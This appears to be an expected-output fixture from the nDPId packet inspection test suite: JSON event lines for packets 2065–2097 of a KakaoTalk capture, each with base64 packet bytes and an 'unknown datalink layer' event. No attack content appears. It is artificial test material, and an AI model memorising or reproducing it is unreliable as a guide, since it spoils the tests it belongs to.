+00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2065,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00493{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2066,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":518866,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHsAAEAAPxHbJwoYUrwByQGuLDhaBABnWUCAbFCvi0ERmguGVRmGe\/zJmZOnEB3MBsOWEc4ZCBOlBMyIn5QC8iMNNX9NJcYlsxiDwYFkZmUa8KlU5mF0sjJ5LpZdbbM+oSDcdNSrTsdTZE7wrIxcn3lUY6WCVfeMyQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2066,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2067,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":528601,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/dr2AbDMPfq\/kw1SapdpB\/ThqhGRKDJgrvSm9+gPdmfZ+PoZ2OAmhMFVEL4UkD3+3PpNJvJ3bCCFi"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2067,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2068,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":543250,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABH\/CeAbFCKi0CG2guGVRmxLIeJXEHZQTmYqvNmyAu3HKKiaWsRDQUW2hUkcdqdz1yb1IHZvo2b4NHeBPX+OmIAWx0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2068,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2069,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":547248,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/+TeAbDMQfq\/og1SapdqZG11BnEO35IF848bzdrc3HE2zAn22IbN8nrjwwLQHHfJZRWdBAa+UGaMC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2069,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2070,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":548011,"pkt_caplen":132,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":132,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHQAAEAAQBHaLgoYUrwByQGuKBxaBgBg8mWAbDM1frBzQ1Sapdrb8w9mpV7eVJzqkccQp+0qAZsMoX59u3FKetxj0hXKk+3kU7h0M888pXvGg\/soBKh7skoLVLi1ax59Io1JQQ7JFsnpMrCBGT2nshfK"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2070,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2071,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":571326,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/YAOAbDMRfq\/sQ1SapdrG0hfCYutPD9M1VYz7Afn1zFNuP1tovtkHbVTPX\/gjlp1KTjgijbLl7R8P"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2071,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2072,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":579291,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJvYWAbFCLi0CKmguGVRmG2KosWmodL1imK\/tTtZ0CO6J9ShtwR4z3YXjGW5pZ18tmEof+hMtEpd9NRCF6uD9tn7tGGw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2072,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2073,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":588599,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHBH+HgHJAa4KGFK8WgYoHABIofiAbFCMi0COWguGVRkL+g2Oh9Wkg9zpM5EAeqQ9dRRZ9JQrWR7zJt2r29UKg0tTTykubazfDbihc7D\/GOlrL2cl"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2073,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00572{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2074,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":601691,"pkt_caplen":196,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":196,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALQAAEAAQBHZ7goYUrwByQGuKBxaBgCgqSKAbDM2frB3A1SapdpyMgPInhxcAoWmVzESeYLM3087lMSB4kWY09K2p72xhrHh33FpzRMrgkCVnyPEXm\/yvRIJIL5FBsSIPfG92d0mrVU2FvgECObk71dqV6rffJyr\/TW2HE6l6FwvqnHei2xXh0tP8\/m4OaVmPbjFAtjpgGbgA3eZsxj7ARS02AGfR9ATf7iI+Dbi\/TK7YQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2074,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2075,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":612891,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJm6mAbFCwi0EVWguGVRl+JrFxOvsP2PXqXn\/d7KnB\/sIcqF3e7sjrEvTPSXoCew\/0DHjucdf9Eq7UJJYNQW2cRMT1vg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2075,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00499{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2076,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":613013,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAHBH9\/AHJAa4KGFK8WgUsOQBqhMWByAAMVJql2usjul1bYt0wXtBGultF6ID8cTY8FKzSbZy09RI\/Nk\/Zog6jhkaTF88sGdIGxg0nTTITCbns5cdACSsU7aRlGhJYmiNLLu3NkWkKaSGAAAAIuSiehL8FPbSahw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2076,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00555{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2077,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":619422,"pkt_caplen":184,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":184,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKgAAEAAPxHa+goYUrwByQGuLDhaBACUDOGAbFCxi0EZGguGVRnxVjizIisbiTE+awzW8DlXExA\/noz8yw7rftFefkCBfzY4McwBOsLEio7zengaYMnHLh5MqbcG5fIj\/o0V97OFscwutiF2tI7OUGKlnwGVzNCt6nk4v8DVM6o3AQGe38IEIy4LM\/dZM7TsTWA5LCY8Jp4NEFg1LipNkjZWBPZlVg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2077,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2078,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":628577,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGkAAEAAHRH9EQHJAa4KGFK8WgQsOABVJLyAbDMSfq\/wA1SapdqGDdpOCLL57FzSayFgYFz\/8F3Df3Vd9NKMd4NUYmDJbi0xfETopmrZHTqZOnyplOp2QZcT10xP6qR2JV5ZOWPIFQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2078,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00550{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2079,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":685919,"pkt_caplen":179,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKMAAEAAQBHZ\/woYUrwByQGuKBxaBgCPwzKAbDM3frB6w1SapdrRYmy0Oola6ShjLZV2WCbD36whUXZ43Dlqspx7M1y\/qOKo8Lnwe4rpseouYMVh187SON9ue2WMNRjOKou5xAbqDm1V3XdqLKYKLaxPhRnYFsNNwFSExmhXkMgz24vOdFYPQIGOKe\/H9aHmBu\/+zGC2+3\/\/JgtXsJowXVA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2079,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2080,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":703223,"pkt_caplen":122,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGoAAEAAHRH9EAHJAa4KGFK8WgQsOABWeI6AbDMTfq\/zw1Sapdp5AYPUHN+TUpLys7iMPJM0q1zvRM84o31QShiaGJKvq1TTeA50Ke5LQMnOVovyauPh5+jPoGlfc5wLQvNrwjmnqds="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2080,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2081,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":703467,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHph+AbFCNi0CSGguGVRlu+cGuXZ+gdBpKicsYIsUT0RBJi4ByICrygy3+k3\/89ozlieMWTdtG1P3dPduDyYNYBVQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2081,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2082,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":703528,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGkAAEAAHBH+EQHJAa4KGFK8WgYoHABVnNiAbFCOi0CV2guGVRmltBqVR+QesUry7UCfmJ9P7bRcx7DqPS\/nFDJm3StCIMfZ1NLV59iyqGt2fr6I5HFoMwoggI8LPE48HWG5foOJag=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2082,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2083,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":703559,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGgAAEAAHRH9EgHJAa4KGFK8WgQsOABU0oaAbDMUfq\/3g1SapdqgVXWz7a2gtpcCxzYkxkMebu2613LsT1J5DJZLKgbCXt5kqceQK89wgjfHdzkzW1eIGZnfnvxHJrxdMUREic94"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2083,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2084,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":711188,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGU6GAbFCPi0CZmguGVRkpsiLkNZoDMprHAvTI4XU2KqgSPziXGJKxMrV1hPNpWXHoANxdd1JxEVU8ISLPkokJJQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2084,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00599{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2085,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":714698,"pkt_caplen":217,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":217,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMkAAEAAPxHa2QoYUrwByQGuLDhaBAC10zqAbFCyi0Ec2guGVRmaLZjjZv0SSS9bg26nBzAsROWsNipR8ZxhPxqlcaRWm+JX0NJCQUcry48ga9KwFGmgiOeKoNghAg\/FQrW1aVnvI9ApKAe\/2QQJQzNMS8p3n0\/gL4JnLV0Gzw3J9QFNVz4JY0seOyQu6nNkXawyHhWvU2Xw5NY4KmsTCjMIaqmrmWPVGwt+lsLlDpPxPCpaAZFs7NdMVlrsMFqUtXdwwbjAoA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2085,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00552{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2086,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":737036,"pkt_caplen":183,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":183,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKcAAEAAQBHZ+woYUrwByQGuKBxaBgCTDvmAbDM4frB+g1Sapdp5JmyMV7JEGbEjzha01FHIpsID0WACqqJalkgTRSqSXHAOUceko5CAsu1MzH\/1vG+N+FjaHIxQR\/g7zAJLuXuhboU6aDYKqaP+CY+FLtmq4eZ9\/Wdwaa7Jh5OkczzUB4K7GU5vFOUiyCNjw75nj\/086g4WCmjC43ktYDKpghv6"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2086,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00472{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2087,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":743170,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGsAAEAAHRH9DwHJAa4KGFK8WgQsOABXPUSAbDMVfq\/7Q1SapdqSe8YY40hEbpGRC7dEYDm8Bca\/f3mFcJxyWVDExoiBeZJcCd\/b9xjW+elGQhi8R+uP6E\/861Ta4e0JHvpqsQ2HPRzE"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2087,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2088,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":751166,"pkt_caplen":134,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":134,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHYAAEAAHRH9BAHJAa4KGFK8WgQsOABi4ViAbDMWfq\/\/A1Sapdo\/i141mlkQnDPElxnrHtumx\/sVCYBVrKxgCLetGav1+ud0+EXbr5lOx+218zhHZ1D9XILzajsoVBaiv5l3xlBJ9TobwM\/\/TzdEeUaBIVc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2088,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2089,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":759162,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGDm2AbFCQi0CdWguGVRnmIxELVLmQnkIZaJ4ReH5\/lXDK43Uu0nGqOWRPcWj\/WlZYuvIBqdo81D79883Rd31xJg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2089,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00458{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2090,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":771186,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHBH+GgHJAa4KGFK8WgYoHABMY3+AbFCRi0ChGguGVRmDEk8MQn426YbKD7tUqGDrXa60hI5KUEVA92p+lTwaWX6hg4WD2iVqv\/mfGD\/40GoJ3ebrQkYqEw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2090,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00567{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2091,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":777137,"pkt_caplen":194,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":194,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALIAAEAAQBHZ8AoYUrwByQGuKBxaBgCe88SAbDM5frCCQ1SapdpxUcwaPs81LBk63ts0j17Sl9eSGdg9yfb8g+EuqnR9XBgaVWB1mo+bFCsIi1ZbaLkwy4RBRRLqlwqRXx8fVST06+XV6DFb\/VmDjs6ROQQL9+cEx4cY+8elPYY8IjCE6M\/dZux65Mkht8Umgbs3r\/v8ZIuj6qVFPJto4nTC5Lryvz2w2RGfKreZiAQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2091,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2092,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":789893,"pkt_caplen":116,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":116,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGQAAEAAHRH9FgHJAa4KGFK8WgQsOABQOxmAbDMXfrACw1SapdrAYkWELsZhcv9pCHaUd64YEgcD29WX1Ntm8z0ghuWKmBFw+9q6edaBwuW+wjdY5MWKFkFVE+\/gCTskITQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2092,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00442{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2093,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":799170,"pkt_caplen":100,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":100,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFQAAEAAHBH+JgHJAa4KGFK8WgYoHABAxxGAbFCSi0Ck2guGVRkq+ORb\/H97ATiZ5Iex2WqpDpo+NBqxq829bVYnwQCi\/CGLFir1ChJXDgRbwQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2093,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00587{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2094,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":808173,"pkt_caplen":210,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":210,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMIAAEAAPxHa4AoYUrwByQGuLDhaBACuA7aAbFCzi0EgmguGVRlplohP4PXdHKiulAWz\/X5g4dQGswk5XmitDbyS6IurzeiYrLZ6ppqozmvX6b55oUJP3ewerM5Sx3eVxkbupwUZ5vHRNwhJJ2Kly7d93ImOhD9RX0X3glSUkZCDBS+isUrNxYo2ALYq0zAPr3rnTg8NScrxlREWLJ8E\/Rd7LppdCd1tAON809AFzzx00bEXDdtRhWJRpBPS3Ee\/"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2094,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00648{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2095,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":809790,"pkt_caplen":254,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":254,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAO5KpEAAQAaVEwoYUrxuTI8y5ekjKS1plqfX8KnlgBgC9XaOAAABAQgKAALVpETbrNcXAwEAIFyJgKQfVKI0DPjVP7JDBDam8x620bdnCmfNXVPvlCXUFwMBAJAhybGn2pDX\/StL2EnI+PtcpfleL+33T15r6fwpnruN\/v5egrCCwfE4Wqk4YbWJt55x7\/+DqbMcXF2FqSvXlnyfvW1rMLnliV6At3Vucm7xUK2qQixXW18yd86v4TA26davkXj4nhj3pG8HLhjabyAZDdz\/25h+09xXiMCC1q+DkmW6JLB0MWclBiyZpQt3RPI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2095,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00583{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2096,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":810797,"pkt_caplen":205,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":205,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAL0AAEAAPxHa5QoYUrwByQGuLDhaBACpMSqAbFC0i0EkWguGVRmcGqMPotOb19I9YyWuFTj1EKiUsVlaucxjeuWGvM4L+G+XxDkR9y1\/afFNLKCcSXQ466XhRxfAZSZlcA22vH8xrYGjwuAFOu5GLt9lzwHqfcyE41cpbRoFOiAxLwFmn0FeyesMW3SvnUlHEBIRcXiCfB\/tuIJa5Z4SE2LxtaHb9q1oNonVItQYx\/v3kwZIoFyFA9lFLQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2096,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2097,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":811194,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHHSmAbFCTi0ComguGVRl\/1ZS4zgR\/LueU2GDqcS7RMAEJsPZP1z9D\/QjJrzXbqE8Ir8Dr9KiW\/3XqWqS2zEkTSX8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2097,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 